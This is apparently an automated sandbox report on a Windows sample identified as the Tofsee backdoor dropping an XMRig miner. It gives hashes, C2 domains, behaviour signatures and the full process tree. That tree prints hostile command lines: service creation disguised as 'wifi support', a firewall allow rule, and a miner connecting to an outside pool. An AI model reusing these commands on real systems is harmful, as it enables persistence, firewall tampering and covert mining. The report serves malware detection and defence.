Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/01/2023, 02:39

General

  • Target
    file.exe
  • Size 260KB
  • Sample230109-c5akmsgd2s
  • SHA256 08b84e41e607f44ed369ea2f3b512254d6df9e8f0a4733d6ecfb0bf353b30c16
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1604
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\itpysofz\
      2⤵
        PID:4916
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bhupipcx.exe" C:\Windows\SysWOW64\itpysofz\
        2⤵
          PID:1204
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create itpysofz binPath= "C:\Windows\SysWOW64\itpysofz\bhupipcx.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1804
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description itpysofz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start itpysofz
          2⤵
          • Launches sc.exe
          PID:788
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3404
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1604 -s 1040
          2⤵
          • Program crash
          PID:1644
      • C:\Windows\SysWOW64\itpysofz\bhupipcx.exe
        C:\Windows\SysWOW64\itpysofz\bhupipcx.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4040
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2344
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4300
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 512
          2⤵
          • Program crash
          PID:1948
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1604 -ip 1604
        1⤵
          PID:3452
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4040 -ip 4040
          1⤵
            PID:4368

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                bhupipcx.exe

                • Path C:\Users\Admin\AppData\Local\Temp\bhupipcx.exe
                • Size 10.4MB
                • SHA256 f0fd2e7fbdbac97e9c7e7ac7dafe66c868ddbe562d358ff611a4589f2b1695cd
                • MD5 SHA1 SHA512 SSDEEP

                bhupipcx.exe

                • Path C:\Windows\SysWOW64\itpysofz\bhupipcx.exe
                • Size 10.4MB
                • SHA256 f0fd2e7fbdbac97e9c7e7ac7dafe66c868ddbe562d358ff611a4589f2b1695cd
                • MD5 SHA1 SHA512 SSDEEP

                memory/1604-143-0x0000000002E6D000-0x0000000002E7E000-memory.dmp

                memory/1604-133-0x00000000048F0000-0x0000000004903000-memory.dmp

                memory/1604-134-0x0000000000400000-0x0000000002BA9000-memory.dmp

                memory/1604-132-0x0000000002E6D000-0x0000000002E7E000-memory.dmp

                memory/1604-144-0x0000000000400000-0x0000000002BA9000-memory.dmp

                memory/2344-146-0x0000000000DA0000-0x0000000000DB5000-memory.dmp

                memory/2344-166-0x0000000007B40000-0x0000000007F4B000-memory.dmp

                memory/2344-169-0x00000000031D0000-0x00000000031D7000-memory.dmp

                memory/2344-163-0x00000000023F0000-0x00000000023F5000-memory.dmp

                memory/2344-160-0x0000000002320000-0x0000000002330000-memory.dmp

                memory/2344-151-0x0000000000DA0000-0x0000000000DB5000-memory.dmp

                memory/2344-157-0x0000000002310000-0x0000000002316000-memory.dmp

                memory/2344-153-0x0000000000DA0000-0x0000000000DB5000-memory.dmp

                memory/2344-154-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                memory/4040-152-0x0000000000400000-0x0000000002BA9000-memory.dmp

                memory/4040-150-0x0000000000400000-0x0000000002BA9000-memory.dmp

                memory/4040-149-0x0000000002C59000-0x0000000002C69000-memory.dmp

                memory/4300-173-0x0000000000E60000-0x0000000000F51000-memory.dmp

                memory/4300-178-0x0000000000E60000-0x0000000000F51000-memory.dmp